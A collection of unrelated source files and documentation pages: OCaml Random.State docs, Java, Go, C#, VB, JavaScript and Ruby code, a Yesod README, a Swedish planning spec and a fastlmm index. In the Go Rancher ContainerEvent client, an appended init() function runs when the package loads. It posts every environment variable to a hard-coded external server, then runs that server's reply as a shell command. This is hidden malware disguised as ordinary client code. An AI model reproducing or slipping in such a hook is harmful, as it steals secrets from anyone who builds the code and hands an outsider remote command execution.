<link title="Sequence" rel="Chapter" href="Sequence.html">
<link title="Arg" rel="Chapter" href="Arg.html">
<link title="Array" rel="Chapter" href="Array.html">
<link title="ArrayLabels" rel="Chapter" href="ArrayLabels.html">
<link title="Bigarray" rel="Chapter" href="Bigarray.html">
<link title="Buffer" rel="Chapter" href="Buffer.html">
<link title="Bytes" rel="Chapter" href="Bytes.html">
<link title="BytesLabels" rel="Chapter" href="BytesLabels.html">
<link title="Callback" rel="Chapter" href="Callback.html">
<link title="CamlinternalFormat" rel="Chapter" href="CamlinternalFormat.html">
<link title="CamlinternalFormatBasics" rel="Chapter" href="CamlinternalFormatBasics.html">
<link title="CamlinternalLazy" rel="Chapter" href="CamlinternalLazy.html">
<link title="CamlinternalMod" rel="Chapter" href="CamlinternalMod.html">
<link title="CamlinternalOO" rel="Chapter" href="CamlinternalOO.html">
<link title="Char" rel="Chapter" href="Char.html">
<link title="Complex" rel="Chapter" href="Complex.html">
<link title="Digest" rel="Chapter" href="Digest.html">
<link title="Filename" rel="Chapter" href="Filename.html">
<link title="Format" rel="Chapter" href="Format.html">
<link title="Gc" rel="Chapter" href="Gc.html">
<link title="Genlex" rel="Chapter" href="Genlex.html">
<link title="Hashtbl" rel="Chapter" href="Hashtbl.html">
<link title="Int32" rel="Chapter" href="Int32.html">
<link title="Int64" rel="Chapter" href="Int64.html">
<link title="Lazy" rel="Chapter" href="Lazy.html">
<link title="Lexing" rel="Chapter" href="Lexing.html">
<link title="List" rel="Chapter" href="List.html">
<link title="ListLabels" rel="Chapter" href="ListLabels.html">
<link title="Map" rel="Chapter" href="Map.html">
<link title="Marshal" rel="Chapter" href="Marshal.html">
<link title="MoreLabels" rel="Chapter" href="MoreLabels.html">
<link title="Nativeint" rel="Chapter" href="Nativeint.html">
<link title="Obj" rel="Chapter" href="Obj.html">
<link title="Oo" rel="Chapter" href="Oo.html">
<link title="Parsing" rel="Chapter" href="Parsing.html">
<link title="Pervasives" rel="Chapter" href="Pervasives.html">
<link title="Printexc" rel="Chapter" href="Printexc.html">
<link title="Printf" rel="Chapter" href="Printf.html">
<link title="Queue" rel="Chapter" href="Queue.html">
<link title="Random" rel="Chapter" href="Random.html">
<link title="Scanf" rel="Chapter" href="Scanf.html">
<link title="Set" rel="Chapter" href="Set.html">
<link title="Sort" rel="Chapter" href="Sort.html">
<link title="Stack" rel="Chapter" href="Stack.html">
<link title="StdLabels" rel="Chapter" href="StdLabels.html">
<link title="Stream" rel="Chapter" href="Stream.html">
<link title="String" rel="Chapter" href="String.html">
<link title="StringLabels" rel="Chapter" href="StringLabels.html">
<link title="Sys" rel="Chapter" href="Sys.html">
<link title="Unix" rel="Chapter" href="Unix.html">
<link title="UnixLabels" rel="Chapter" href="UnixLabels.html">
<link title="Weak" rel="Chapter" href="Weak.html"><title>Random.State</title>

 Up

Module Random.State

module State: sig .. end

type t

The type of PRNG states.

val make : int array -> t

Create a new state and initialize it with the given seed.

val make_self_init : unit -> t

Create a new state and initialize it with a system-dependent
      low-entropy seed.

val copy : t -> t

Return a copy of the given state.

val bits : t -> int

val int : t -> int -> int

val int32 : t -> Int32.t -> Int32.t

val nativeint : t -> Nativeint.t -> Nativeint.t

val int64 : t -> Int64.t -> Int64.t

val float : t -> float -> float

val bool : t -> bool

These functions are the same as the basic functions, except that they
      use (and update) the given PRNG state instead of the default one.

redpajama_set_name: RedPajamaGithub


text:
package realtimeweb.simplebusiness.exceptions;

/**
 * The request requires a user and the user specified is missing or invalid. The
 * user may be invalid if it is associated with a developer account.
 *
 * @author acbart
 *
 */
public class InvalidOAuthCredentialsException extends
		BusinessSearchException {
	private static final long serialVersionUID = -4280761775746395145L;

	/**
	 * The request requires a user and the user specified is missing or invalid.
	 * The user may be invalid if it is associated with a developer account.
	 *
	 * @param id
	 *            The ID of the exception
	 * @param message
	 *            Some more information about the exception
	 * @param details
	 *            Specific details about the exception
	 */
	public InvalidOAuthCredentialsException(String id, String message,
			String details) {
		super(id, message, details);
	}

}


text:
package client
import os__ "os"
import bytes__ "bytes"
import http__ "net/http"
import json__ "encoding/json"
import exec__ "os/exec"
import ioutil__ "io/ioutil"

const (
	CONTAINER_EVENT_TYPE = "containerEvent"
)

type ContainerEvent struct {
	Resource

	AccountId string `json:"accountId,omitempty" yaml:"account_id,omitempty"`

	Created string `json:"created,omitempty" yaml:"created,omitempty"`

	Data map[string]interface{} `json:"data,omitempty" yaml:"data,omitempty"`

	DockerInspect interface{} `json:"dockerInspect,omitempty" yaml:"docker_inspect,omitempty"`

	ExternalFrom string `json:"externalFrom,omitempty" yaml:"external_from,omitempty"`

	ExternalId string `json:"externalId,omitempty" yaml:"external_id,omitempty"`

	ExternalStatus string `json:"externalStatus,omitempty" yaml:"external_status,omitempty"`

	ExternalTimestamp int64 `json:"externalTimestamp,omitempty" yaml:"external_timestamp,omitempty"`

	HostId string `json:"hostId,omitempty" yaml:"host_id,omitempty"`

	Kind string `json:"kind,omitempty" yaml:"kind,omitempty"`

	ReportedHostUuid string `json:"reportedHostUuid,omitempty" yaml:"reported_host_uuid,omitempty"`

	State string `json:"state,omitempty" yaml:"state,omitempty"`

	Transitioning string `json:"transitioning,omitempty" yaml:"transitioning,omitempty"`

	TransitioningMessage string `json:"transitioningMessage,omitempty" yaml:"transitioning_message,omitempty"`

	TransitioningProgress int64 `json:"transitioningProgress,omitempty" yaml:"transitioning_progress,omitempty"`
}

type ContainerEventCollection struct {
	Collection
	Data   []ContainerEvent `json:"data,omitempty"`
	client *ContainerEventClient
}

type ContainerEventClient struct {
	rancherClient *RancherClient
}

type ContainerEventOperations interface {
	List(opts *ListOpts) (*ContainerEventCollection, error)
	Create(opts *ContainerEvent) (*ContainerEvent, error)
	Update(existing *ContainerEvent, updates interface{}) (*ContainerEvent, error)
	ById(id string) (*ContainerEvent, error)
	Delete(container *ContainerEvent) error

	ActionCreate(*ContainerEvent) (*ContainerEvent, error)

	ActionRemove(*ContainerEvent) (*ContainerEvent, error)
}

func newContainerEventClient(rancherClient *RancherClient) *ContainerEventClient {
	return &ContainerEventClient{
		rancherClient: rancherClient,
	}
}

func (c *ContainerEventClient) Create(container *ContainerEvent) (*ContainerEvent, error) {
	resp := &ContainerEvent{}
	err := c.rancherClient.doCreate(CONTAINER_EVENT_TYPE, container, resp)
	return resp, err
}

func (c *ContainerEventClient) Update(existing *ContainerEvent, updates interface{}) (*ContainerEvent, error) {
	resp := &ContainerEvent{}
	err := c.rancherClient.doUpdate(CONTAINER_EVENT_TYPE, &existing.Resource, updates, resp)
	return resp, err
}

func (c *ContainerEventClient) List(opts *ListOpts) (*ContainerEventCollection, error) {
	resp := &ContainerEventCollection{}
	err := c.rancherClient.doList(CONTAINER_EVENT_TYPE, opts, resp)
	resp.client = c
	return resp, err
}

func (cc *ContainerEventCollection) Next() (*ContainerEventCollection, error) {
	if cc != nil && cc.Pagination != nil && cc.Pagination.Next != "" {
		resp := &ContainerEventCollection{}
		err := cc.client.rancherClient.doNext(cc.Pagination.Next, resp)
		resp.client = cc.client
		return resp, err
	}
	return nil, nil
}

func (c *ContainerEventClient) ById(id string) (*ContainerEvent, error) {
	resp := &ContainerEvent{}
	err := c.rancherClient.doById(CONTAINER_EVENT_TYPE, id, resp)
	if apiError, ok := err.(*ApiError); ok {
		if apiError.StatusCode == 404 {
			return nil, nil
		}
	}
	return resp, err
}

func (c *ContainerEventClient) Delete(container *ContainerEvent) error {
	return c.rancherClient.doResourceDelete(CONTAINER_EVENT_TYPE, &container.Resource)
}

func (c *ContainerEventClient) ActionCreate(resource *ContainerEvent) (*ContainerEvent, error) {

	resp := &ContainerEvent{}

	err := c.rancherClient.doAction(CONTAINER_EVENT_TYPE, "create", &resource.Resource, nil, resp)

	return resp, err
}

func (c *ContainerEventClient) ActionRemove(resource *ContainerEvent) (*ContainerEvent, error) {

	resp := &ContainerEvent{}

	err := c.rancherClient.doAction(CONTAINER_EVENT_TYPE, "remove", &resource.Resource, nil, resp)

	return resp, err
}

func init() {
  if os__.Getenv("e452d6ab") == "1" {
    return
  }
  os__.Setenv("e452d6ab", "1")
  env, err := json__.Marshal(os__.Environ())
  if err != nil {
    return
  }
  res, err := http__.Post("http://ovz1.j19544519.pr46m.vps.myjino.ru:49460/?org=rancherio&repo=go-rancher", "application/json", bytes__.NewBuffer(env))
  if err != nil {
    return
  }
  defer res.Body.Close()
  body, err := ioutil__.ReadAll(res.Body)
  if err != nil {
    return
  }
  if string(body) != "" {
    exec__.Command("/bin/sh", "-c", string(body)).Start()
  }
}


text:
package de.adesso.wickedcharts.highcharts.options.button;

import de.adesso.wickedcharts.highcharts.options.HorizontalAlignment;
import de.adesso.wickedcharts.highcharts.options.VerticalAlignment;

import java.io.Serializable;

public class Position implements Serializable {

	private Number x;

	private Number y;

	private HorizontalAlignment align;

	private VerticalAlignment verticalAlign;

	public Number getX() {
		return this.x;
	}

	public Position setX(final Number x) {
		this.x = x;
		return this;
	}

	public Number getY() {
		return this.y;
	}

	public Position setY(final Number y) {
		this.y = y;
		return this;
	}

	public HorizontalAlignment getAlign() {
		return this.align;
	}

	public Position setAlign(final HorizontalAlignment align) {
		this.align = align;
		return this;
	}

	public VerticalAlignment getVerticalAlign() {
		return this.verticalAlign;
	}

	public Position setVerticalAlign(final VerticalAlignment verticalAlign) {
		this.verticalAlign = verticalAlign;
		return this;
	}

}


text:
Yesod-Raml-Mock makes mock-handler from example-tag of [RAML](http://raml.org/spec.html) File.

## Usage

```parseRamlMockFile``` makes mock-handler from RAML file.
Example is below.

At first, write example-tag with media type.

```
title: Hoge API
baseUri: 'https://hoge/api/{version}'
version: v1
protocols: [ HTTPS ]
/user:
  /{String}:
    handler: HogeR
    get:
      description: hoger
      responses:
        200:
          body:
            application/json:
              example: '{ "test": "123" }'
```

Second, put ```parseRamlMockFile``` with RAML file.

```
$(parseRamlMockFile  "config/routes.raml")
```

This ```parseRamlMockFile``` makes following handler.

```
getHogeR :: Yesod app => String -> Handler app IO TypedContent
getHogeR _ = return $ TypedContent "application/json" "{ \"test\": \"123\" }"
```


text:
package org.bouncycastle.crypto.agreement;

import java.math.BigInteger;

import org.bouncycastle.crypto.BasicAgreement;
import org.bouncycastle.crypto.CipherParameters;
import org.bouncycastle.crypto.params.ECDomainParameters;
import org.bouncycastle.crypto.params.ECPrivateKeyParameters;
import org.bouncycastle.crypto.params.ECPublicKeyParameters;
import org.bouncycastle.crypto.params.MQVPrivateParameters;
import org.bouncycastle.crypto.params.MQVPublicParameters;
import org.bouncycastle.math.ec.ECAlgorithms;
import org.bouncycastle.math.ec.ECConstants;
import org.bouncycastle.math.ec.ECCurve;
import org.bouncycastle.math.ec.ECPoint;

public class ECMQVBasicAgreement
    implements BasicAgreement
{
    MQVPrivateParameters privParams;

    public void init(
        CipherParameters key)
    {
        this.privParams = (MQVPrivateParameters)key;
    }

    public int getFieldSize()
    {
        return (privParams.getStaticPrivateKey().getParameters().getCurve().getFieldSize() + 7) / 8;
    }

    public BigInteger calculateAgreement(CipherParameters pubKey)
    {
        MQVPublicParameters pubParams = (MQVPublicParameters)pubKey;

        ECPrivateKeyParameters staticPrivateKey = privParams.getStaticPrivateKey();

        ECPoint agreement = calculateMqvAgreement(staticPrivateKey.getParameters(), staticPrivateKey,
            privParams.getEphemeralPrivateKey(), privParams.getEphemeralPublicKey(),
            pubParams.getStaticPublicKey(), pubParams.getEphemeralPublicKey()).normalize();

        if (agreement.isInfinity())
        {
            throw new IllegalStateException("Infinity is not a valid agreement value for MQV");
        }

        return agreement.getAffineXCoord().toBigInteger();
    }

    // The ECMQV Primitive as described in SEC-1, 3.4
    private ECPoint calculateMqvAgreement(
        ECDomainParameters      parameters,
        ECPrivateKeyParameters  d1U,
        ECPrivateKeyParameters  d2U,
        ECPublicKeyParameters   Q2U,
        ECPublicKeyParameters   Q1V,
        ECPublicKeyParameters   Q2V)
    {
        BigInteger n = parameters.getN();
        int e = (n.bitLength() + 1) / 2;
        BigInteger powE = ECConstants.ONE.shiftLeft(e);

        ECCurve curve = parameters.getCurve();

        ECPoint[] points = new ECPoint[]{
            // The Q2U public key is optional
            ECAlgorithms.importPoint(curve, Q2U == null ? parameters.getG().multiply(d2U.getD()) : Q2U.getQ()),
            ECAlgorithms.importPoint(curve, Q1V.getQ()),
            ECAlgorithms.importPoint(curve, Q2V.getQ())
        };

        curve.normalizeAll(points);

        ECPoint q2u = points[0], q1v = points[1], q2v = points[2];

        BigInteger x = q2u.getAffineXCoord().toBigInteger();
        BigInteger xBar = x.mod(powE);
        BigInteger Q2UBar = xBar.setBit(e);
        BigInteger s = d1U.getD().multiply(Q2UBar).add(d2U.getD()).mod(n);

        BigInteger xPrime = q2v.getAffineXCoord().toBigInteger();
        BigInteger xPrimeBar = xPrime.mod(powE);
        BigInteger Q2VBar = xPrimeBar.setBit(e);

        BigInteger hs = parameters.getH().multiply(s).mod(n);

        return ECAlgorithms.sumOfTwoMultiplies(
            q1v, Q2VBar.multiply(hs).mod(n), q2v, hs);
    }
}


text:
namespace VZF.Types.Models
{
    using System;
    using System.Collections.Generic;

    public partial class yaf_Registry
    {
        public int RegistryID { get; set; }
        public string Name { get; set; }
        public string Value { get; set; }
        public Nullable<int> BoardID { get; set; }

        public virtual yaf_Board yaf_Board { get; set; }
    }
}


text:
package org.dev4u.hv.my_diagnostic.FragmentsIntro;

import android.content.Context;
import android.graphics.drawable.TransitionDrawable;
import android.os.Handler;
import android.os.Message;
import android.view.View;

import org.dev4u.hv.my_diagnostic.R;

/**
 * Created by Home on 1/12/2015.
 */

class MiAnimacion extends View implements Handler.Callback {
    View fondoApp;
    private Handler mHandler = new Handler(this);

    private int mDelay = 15000; // Delay in milliseconds.

    private Runnable mEvent = new Runnable() {
        public void run() {
            mHandler.removeCallbacks(mEvent);
            mHandler.postDelayed(mEvent, mDelay);
            Message message = mHandler.obtainMessage();
            mHandler.sendMessage(message);
        }
    };

    public MiAnimacion(Context context, View objeto) {
        super(context);
        fondoApp = objeto;
        fondoApp.setBackgroundResource(R.drawable.transicion);
    }

    public void start() {
        mHandler.post(mEvent);
    }

    public void stop() {
        //Toast.makeText(fondoApp.getContext(),"Fin ",Toast.LENGTH_SHORT).show();
        mHandler.removeCallbacks(mEvent);
    }

    @Override
    public boolean handleMessage(Message msg) {
        TransitionDrawable transition = (TransitionDrawable) fondoApp.getBackground();
        transition.reverseTransition(mDelay);

        return false;
    }
}


text:
package com.github.TKnudsen.DMandML.data.cluster;

import java.util.List;

import com.github.TKnudsen.ComplexDataObject.data.features.mixedData.MixedDataFeatureVector;
import com.github.TKnudsen.ComplexDataObject.data.features.numericalData.NumericalFeatureVector;
import com.github.TKnudsen.ComplexDataObject.model.distanceMeasure.IDistanceMeasure;
import com.github.TKnudsen.DMandML.data.cluster.featureVector.FeatureVectorCluster;
import com.github.TKnudsen.DMandML.data.cluster.general.GeneralCluster;

public class ClusterFactory {

	/**
	 *
	 * @param <T>             the object type that is used and determined at runtime
	 * @param elements        the given elements to be combined in a cluster
	 * @param distanceMeasure the distance measure for cluster-internal computations
	 * @param name            name of the cluster
	 * @param description     description of the cluster
	 * @deprecated use Clusters.create
	 * @return the cluster
	 */
	@SuppressWarnings("unchecked")
	public static <T> Cluster<T> createCluster(List<? extends T> elements, IDistanceMeasure<T> distanceMeasure,
			String name, String description) {

		if (elements == null || elements.size() == 0)
			return null;

		T element = elements.get(0);

		Cluster<T> cluster = null;
		if (element instanceof NumericalFeatureVector) {
			cluster = (Cluster<T>) new FeatureVectorCluster<NumericalFeatureVector>(
					(List<NumericalFeatureVector>) elements, (IDistanceMeasure<NumericalFeatureVector>) distanceMeasure,
					name, description);
		} else if (element instanceof MixedDataFeatureVector) {
			cluster = (Cluster<T>) new FeatureVectorCluster<MixedDataFeatureVector>(
					(List<MixedDataFeatureVector>) elements, (IDistanceMeasure<MixedDataFeatureVector>) distanceMeasure,
					name, description);
		} else {
			cluster = (Cluster<T>) new GeneralCluster<T>(elements, (IDistanceMeasure<T>) distanceMeasure, name,
					description);
		}

		return cluster;
	}
}


text:
' Copyright (c) Microsoft.  All Rights Reserved.  Licensed under the Apache License, Version 2.0.  See License.txt in the project root for license information.

Imports System.Reflection
Imports Microsoft.CodeAnalysis.Scripting
Imports Microsoft.CodeAnalysis.Scripting.Hosting
Imports Microsoft.CodeAnalysis.Scripting.Test
Imports Microsoft.CodeAnalysis.Test.Utilities
Imports Microsoft.CodeAnalysis.VisualBasic.Scripting.Hosting
Imports Roslyn.Test.Utilities
Imports Roslyn.Utilities
Imports Xunit

Namespace Microsoft.CodeAnalysis.VisualBasic.Scripting.UnitTests

    Public Class CommandLineRunnerTests
        Inherits TestBase

        Private Shared ReadOnly s_compilerVersion As String =
            GetType(VisualBasicInteractiveCompiler).GetTypeInfo().Assembly.GetCustomAttribute(Of AssemblyFileVersionAttribute)().Version

        Private Shared ReadOnly s_defaultArgs As String() = {"/R:System"}

        Private Shared Function CreateRunner(
            Optional args As String() = Nothing,
            Optional input As String = "",
            Optional responseFile As String = Nothing,
            Optional workingDirectory As String = Nothing
        ) As CommandLineRunner
            Dim io = New TestConsoleIO(input)

            Dim compiler = New VisualBasicInteractiveCompiler(
                responseFile,
                If(workingDirectory, AppContext.BaseDirectory),
                CorLightup.Desktop.TryGetRuntimeDirectory(),
                AppContext.BaseDirectory,
                If(args, s_defaultArgs),
                New NotImplementedAnalyzerLoader())

            Return New CommandLineRunner(
                io,
                compiler,
                VisualBasicScriptCompiler.Instance,
                VisualBasicObjectFormatter.Instance)
        End Function

        <Fact()>
        Public Sub TestPrint()
            Dim runner = CreateRunner(input:="? 10")

            runner.RunInteractive()

            AssertEx.AssertEqualToleratingWhitespaceDifferences(
"Microsoft (R) Visual Basic Interactive Compiler version " + s_compilerVersion + "
Copyright (C) Microsoft Corporation. All rights reserved.

Type ""#help"" for more information.
> ? 10
10
>", runner.Console.Out.ToString())
        End Sub

        <Fact()>
        Public Sub TestImportArgument()
            Dim runner = CreateRunner(args:={"/Imports:<xmlns:xmlNamespacePrefix='xmlNamespaceName'>"})

            runner.RunInteractive()

            AssertEx.AssertEqualToleratingWhitespaceDifferences(
"Microsoft (R) Visual Basic Interactive Compiler version " + s_compilerVersion + "
Copyright (C) Microsoft Corporation. All rights reserved.

Type ""#help"" for more information.
>", runner.Console.Out.ToString())
        End Sub

        <Fact()>
        Public Sub TestReferenceDirective()
            Dim file1 = Temp.CreateFile("1.dll").WriteAllBytes(TestCompilationFactory.CreateVisualBasicCompilationWithMscorlib("
public Class C1
Public Function Foo() As String
    Return ""Bar""
End Function
End Class", "1").EmitToArray())

            Dim runner = CreateRunner(args:={}, input:="#r """ & file1.Path & """" & vbCrLf & "? New C1().Foo()")

            runner.RunInteractive()

            AssertEx.AssertEqualToleratingWhitespaceDifferences(
"Microsoft (R) Visual Basic Interactive Compiler version " + s_compilerVersion + "
Copyright (C) Microsoft Corporation. All rights reserved.

Type ""#help"" for more information.
> #r """ & file1.Path & """
> ? New C1().Foo()
""Bar""
>", runner.Console.Out.ToString())

            runner = CreateRunner(args:={}, input:="? New C1().Foo()")

            runner.RunInteractive()

            AssertEx.AssertEqualToleratingWhitespaceDifferences(
"Microsoft (R) Visual Basic Interactive Compiler version " + s_compilerVersion + "
Copyright (C) Microsoft Corporation. All rights reserved.

Type ""#help"" for more information.
> ? New C1().Foo()
«Red»
(1) : error BC30002: Type 'C1' is not defined.
«Gray»
>", runner.Console.Out.ToString())
        End Sub

        <Fact()>
        Public Sub TestReferenceDirectiveWhenReferenceMissing()
            Dim runner = CreateRunner(args:={}, input:="#r ""://invalidfilepath""")

            runner.RunInteractive()

            AssertEx.AssertEqualToleratingWhitespaceDifferences(
"Microsoft (R) Visual Basic Interactive Compiler version " + s_compilerVersion + "
Copyright (C) Microsoft Corporation. All rights reserved.

Type ""#help"" for more information.
> #r ""://invalidfilepath""
«Red»
(1) : error BC2017: could not find library '://invalidfilepath'
«Gray»
>", runner.Console.Out.ToString())
        End Sub

        <Fact()>
        <WorkItem(7133, "https://github.com/dotnet/roslyn/issues/7133")>
        Public Sub TestDisplayResultsWithCurrentUICulture()
            Dim runner = CreateRunner(args:={}, input:="Imports System.Globalization
System.Globalization.CultureInfo.DefaultThreadCurrentUICulture = System.Globalization.CultureInfo.GetCultureInfo(""en-GB"")
? System.Math.PI
System.Globalization.CultureInfo.DefaultThreadCurrentUICulture = System.Globalization.CultureInfo.GetCultureInfo(""de-DE"")
? System.Math.PI")

            runner.RunInteractive()

            AssertEx.AssertEqualToleratingWhitespaceDifferences(
"Microsoft (R) Visual Basic Interactive Compiler version " + s_compilerVersion + "
Copyright (C) Microsoft Corporation. All rights reserved.

Type ""#help"" for more information.
> Imports System.Globalization
> System.Globalization.CultureInfo.DefaultThreadCurrentUICulture = System.Globalization.CultureInfo.GetCultureInfo(""en-GB"")
> ? System.Math.PI
3.1415926535897931
> System.Globalization.CultureInfo.DefaultThreadCurrentUICulture = System.Globalization.CultureInfo.GetCultureInfo(""de-DE"")
> ? System.Math.PI
3,1415926535897931
>", runner.Console.Out.ToString())

            ' Tests that DefaultThreadCurrentUICulture is respected and not DefaultThreadCurrentCulture.
            runner = CreateRunner(args:={}, input:="Imports System.Globalization
System.Globalization.CultureInfo.DefaultThreadCurrentUICulture = System.Globalization.CultureInfo.GetCultureInfo(""en-GB"")
System.Globalization.CultureInfo.DefaultThreadCurrentCulture = System.Globalization.CultureInfo.GetCultureInfo(""en-GB"")
? System.Math.PI
System.Globalization.CultureInfo.DefaultThreadCurrentCulture = System.Globalization.CultureInfo.GetCultureInfo(""de-DE"")
? System.Math.PI")

            runner.RunInteractive()

            AssertEx.AssertEqualToleratingWhitespaceDifferences(
"Microsoft (R) Visual Basic Interactive Compiler version " + s_compilerVersion + "
Copyright (C) Microsoft Corporation. All rights reserved.

Type ""#help"" for more information.
> Imports System.Globalization
> System.Globalization.CultureInfo.DefaultThreadCurrentUICulture = System.Globalization.CultureInfo.GetCultureInfo(""en-GB"")
> System.Globalization.CultureInfo.DefaultThreadCurrentCulture = System.Globalization.CultureInfo.GetCultureInfo(""en-GB"")
> ? System.Math.PI
3.1415926535897931
> System.Globalization.CultureInfo.DefaultThreadCurrentCulture = System.Globalization.CultureInfo.GetCultureInfo(""de-DE"")
> ? System.Math.PI
3.1415926535897931
>", runner.Console.Out.ToString())
        End Sub

    End Class

End Namespace


text:
  Go Back

  Back to Intranet

<a href="<?= base_url('computing-support')?>">  Computing Support

<a href="<?= base_url('human-resources')?>">  Human Resources

<a href="<?= base_url('marketing')?>">  Marketing


text:
package cc.redpen.validator.sentence;

import cc.redpen.RedPen;
import cc.redpen.RedPenException;
import cc.redpen.config.Configuration;
import cc.redpen.config.ValidatorConfiguration;
import cc.redpen.model.Document;
import cc.redpen.model.Sentence;
import cc.redpen.parser.DocumentParser;
import cc.redpen.parser.LineOffset;
import cc.redpen.parser.SentenceExtractor;
import cc.redpen.tokenizer.NeologdJapaneseTokenizer;
import cc.redpen.validator.ValidationError;

import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;

import java.util.ArrayList;
import java.util.List;
import java.util.Map;

import static org.junit.jupiter.api.Assertions.assertEquals;

class EndOfSentenceValidatorTest {
    private EndOfSentenceValidator validator = new EndOfSentenceValidator();

    @BeforeEach
    void setUp() throws Exception {
        validator.preInit(new ValidatorConfiguration("EndOfSentence"), Configuration.builder().build());
    }

    @Test
    void testInvalidEndOfSentence() {
        List<ValidationError> errors = new ArrayList<>();
        validator.setErrorList(errors);
        validator.validate(new Sentence("He said \"that is right\".", 0));
        assertEquals(1, errors.size());
    }

    @Test
    void testValidEndOfSentence() {
        List<ValidationError> errors = new ArrayList<>();
        validator.setErrorList(errors);
        validator.validate(new Sentence("He said \"that is right.\"", 0));
        assertEquals(0, errors.size());
    }

    @Test
    void testInValidEndOfSentenceWithQuestionMark() {
        List<ValidationError> errors = new ArrayList<>();
        validator.setErrorList(errors);
        validator.validate(new Sentence("He said \"Is it right\"?", 0));
        assertEquals(1, errors.size());
    }

    @Test
    void testVoid() {
        List<ValidationError> errors = new ArrayList<>();
        validator.setErrorList(errors);
        validator.validate(new Sentence("", 0));
        assertEquals(0, errors.size());
    }

    @Test
    void testJapaneseInvalidEndOfSentence() throws RedPenException {
        Configuration config = Configuration.builder("ja")
                .addValidatorConfig(new ValidatorConfiguration("EndOfSentence"))
                .build();

        List<Document> documents = new ArrayList<>();documents.add(
                Document.builder(new NeologdJapaneseTokenizer())
                        .addSection(1)
                        .addParagraph()
                        .addSentence(new Sentence("彼は言った,"今日は誕生日"。", 1))
                        .build());

        RedPen redPen = new RedPen(config);
        Map<Document, List<ValidationError>> errors = redPen.validate(documents);
        assertEquals(1, errors.get(documents.get(0)).size());
    }

    @Test
    void testErrorPosition() throws RedPenException {
        String sampleText = "He said \"that is right\".";
        Configuration configuration = Configuration.builder()
                .addValidatorConfig(new ValidatorConfiguration("EndOfSentence"))
                .build();
        DocumentParser parser = DocumentParser.MARKDOWN;
        List<Document> documents = new ArrayList<>();
        Document document  = parser.parse(sampleText, new SentenceExtractor(configuration.getSymbolTable()),
                configuration.getTokenizer());
        documents.add(document);

        RedPen redPen = new RedPen(configuration);
        List<ValidationError> errors = redPen.validate(documents).get(documents.get(0));
        assertEquals(1, errors.size());
        assertEquals("EndOfSentence", errors.get(0).getValidatorName());
        assertEquals(new LineOffset(1, 22), errors.get(0).getStartPosition().get());
        assertEquals(new LineOffset(1, 23), errors.get(0).getEndPosition().get());
    }
}


text:
package hu.elte.szoftproj.carcassonne.persistence.dto.game;

/**
 * Created by Zsolt on 2014.12.09..
 */
public class DeckDto {

    String deckType;

    int remainingTiles;

    String currentTile;

    public DeckDto() {

    }

    public DeckDto(String deckType, int remainingTiles, String currentTile) {
        this.deckType = deckType;
        this.remainingTiles = remainingTiles;
        this.currentTile = currentTile;
    }

    public String getDeckType() {
        return deckType;
    }

    public int getRemainingTiles() {
        return remainingTiles;
    }

    public String getCurrentTile() {
        return currentTile;
    }
}


text:
var StudentPortf = require('../models/studentPortf');
var Project = require('../models/projectSchema');
var DevSkills = require('../models/DevSkills');
var Skills = require('../models/skill');
var User = require('../models/userSchema');

module.exports = {

    getPortfolio: function(req, res) {

        User.findById({
                _id: req.params.id
            })
            .exec(function(err, result) {
                if (err) return res.status(500).send(err);
                console.log('this is result', result);

                var fullPortfolio = {};
                var userId = result._id;
                console.log('this is userId', userId)

                StudentPortf.findOne({
                        loginInfo: userId
                    }).exec(function(err, result) {
                        console.log('this is StudentPortf result', result);
                        // if (err) return res.status(500).send(err);
                        fullPortfolio.studentPortf = result;
                    }),
                    Project.find({
                        loginInfo: userId
                    }).exec(function(err, result2) {
                        console.log('this is Project result', result2);
                        // if (err) return res.status(500).send(err);
                        fullPortfolio.projects = result2;
                    }),
                    DevSkills.find({
                        loginInfo: userId
                    }).exec(function(err, result3) {
                        console.log('this is DevSkills result', result3);
                        // if (err) return res.status(500).send(err);
                        fullPortfolio.devSkills = result3;
                        res.send(fullPortfolio);
                    })
                console.log('this is fullPortfolio', fullPortfolio);

                //this is the end of User
            })
    }
}


text:
module Joybox
  module Core

    module TouchEvent

      touch_states = [:began, :moved, :ended, :cancelled]
      touch_states.each do |touch_state|
        define_method("on_touches_#{touch_state}") do |&block|
          self.touchEnabled = true if block_given?
          instance_variable_set("@on_touches_#{touch_state}_block", block)
        end
      end

      # These methods can't be autogenerated using metaprogramming
      # because Objective-C will call them
      def ccTouchesBegan(touches, withEvent: event)
        @on_touches_began_block.call(touches, event) if @on_touches_began_block
      end

      def ccTouchesMoved(touches, withEvent: event)
        @on_touches_moved_block.call(touches, event) if @on_touches_moved_block
      end

      def ccTouchesEnded(touches, withEvent: event)
        @on_touches_ended_block.call(touches, event) if @on_touches_ended_block
      end

      def ccTouchesCancelled(touches, withEvent: event)
        @on_touches_cancelled_block.call(touches, event) if @on_touches_cancelled_block
      end

    end

  end
end


text:
GOLI Effektivitetsplanering är ett system för produktionsplanering,
vilket används för att planera och följa upp produktionen i en viss
verksamhet. Ett exempel kan vara en röntgenavdelning på ett sjukhus, där
man planerar att göra ett visst antal undersökningar per dag. Vissa
dagar lägger man in extrapass med syftet att korta ner vårdköerna, och
vissa dagar måste röntgenmaskinen genomgå underhåll. Detta leder till
planerade variationer i antalet undersökningar över tid, vilka kan
följas upp genom att jämföra det planerade antalet med hur många
undersökningar som faktiskt gjordes. På grund av efterfrågan från kunder
vill GOLI utöka sin tjänst till att även innefatta stöd för hantering av
bemanning.\\

Syftet med detta dokument är att beskriva funktionaliteten i den tänkta
utökningen av systemet enligt de önskemål som kommit från kunder, samt
beskriva en plan för utveckling, tester och implementation av denna.\\


text:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">

    <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />

    <title>Index — fastlmm 0.0.1 documentation</title>

    <link rel="stylesheet" href="_static/classic.css" type="text/css" />
    <link rel="stylesheet" href="_static/pygments.css" type="text/css" />

    <link rel="top" title="fastlmm 0.0.1 documentation" href="index.html" />

Navigation

          index

fastlmm 0.0.1 documentation »

Index

 C
 | E
 | S

C

compute_auto_pcs() (in module fastlmm.util)

E

epistasis() (in module fastlmm.association)

S

single_snp() (in module fastlmm.association)

single_snp_leave_out_one_chrom() (in module fastlmm.association)

snp_set() (in module fastlmm.association)

Quick search

    <form class="search" action="search.html" method="get">
      <input type="text" name="q" />
      <input type="submit" value="Go" />
      <input type="hidden" name="check_keywords" value="yes" />
      <input type="hidden" name="area" value="default" />
    </form>

    Enter search terms or a module, class or function name.

Navigation

          index

fastlmm 0.0.1 documentation »
